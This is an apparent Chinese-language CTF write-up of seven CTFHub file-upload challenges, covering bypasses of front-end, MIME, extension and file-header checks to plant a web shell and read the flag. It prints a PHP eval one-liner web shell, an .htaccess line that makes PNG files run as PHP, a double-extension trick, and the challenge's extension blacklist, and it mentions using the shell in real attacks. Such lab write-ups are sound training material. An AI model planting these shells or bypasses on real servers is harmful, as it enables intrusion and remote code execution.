CTFHub-技能树-web-文件上传
1.无验证
思路很简单,写个一句话shell传上去,然后手动或者用蚁剑(这周任务学完写个蚁剑的简单用法总结)连上去,在www目录(好像),就可以找到flag文件,打开就可以拿到flag。
一句话<?php eval($_POST['cmd']); ?>,实战的话,尽量用一些比较特别的参数名
当然也可以手工shell,手工shell的话,eval里要用GET
2.前端验证
上传一句话,提示不允许上传,查看源代码,有检测的js代码,直接在浏览器里设置禁用js代码,然后上传。
用蚁剑连上,在html文件夹里就可以看到flag文件
3.htaccess
百科对.htaccess的介绍:.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
这道题应该是让用自己写的.htaccess去覆盖服务器的.htaccess从而允许一些功能。
这篇总结写的很详细,可以看一下。
做题过程:
先上传个一句话,提示文件类型不匹配
又上传了一张图片,上传成功
推断需要构造.htaccess,来让服务器把png当作php解析,
AddType application/x-httpd-php .png 上传.htaccess(就上边这一句话)-->上传成功
写个一句话shell,然后把后缀改成png --> 上传成功
最后用手工或者工具连上去,就能在html文件夹里找到flag
4.MIME绕过
MIME原本是指多用途互联网邮件扩展类型。后来被用到了HTTP的Content-Type字段,称为互联网媒体类型。
所以这道题的思路很清晰,修改Content-Type为合法类型
用burp抓包,修改content-type
上传成功,手工/工具连接,在html里又flag
5.00截断
该题似乎环境有问题,未能做出来,有做出来的朋友欢迎评论区解答
6.双写后缀
看题意,感觉会是服务器端删除/替换后缀
直接双写后缀.php.php上传,上传成功,response里有注释源码
$name = basename($_FILES['file']['name']); $blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini"); $name = str_ireplace($blacklist, "", $name); // str_ireplace($search, $replace, $subject) // 把subject中的所有search替换为replace 和前边猜的有点不一样,是把所有匹配到的字符串都删掉了
emmmm,自己想错了,应该是这样双写.pphphp,删掉一个php后,仍然还是php,再次上传
连上去拿到flag
7.文件头检查
直接提交会报错
去查了下,文件头的意思是,不同格式的文件开头会有特征值,然后服务端会检查文件头来确定文件类型是否符合要求。思路就是伪造文件头。
随便传个png上去,用burp抓包,保留文件头,加上一句话shell,让背后把文件名后缀改成php,但是打开有报错
应该是对二进制字符解析出错,那么在上传的时候只保留文件头和一句话即可
手动/蚁剑连上,就可以在目录中找到flag_xxxxxxxx.php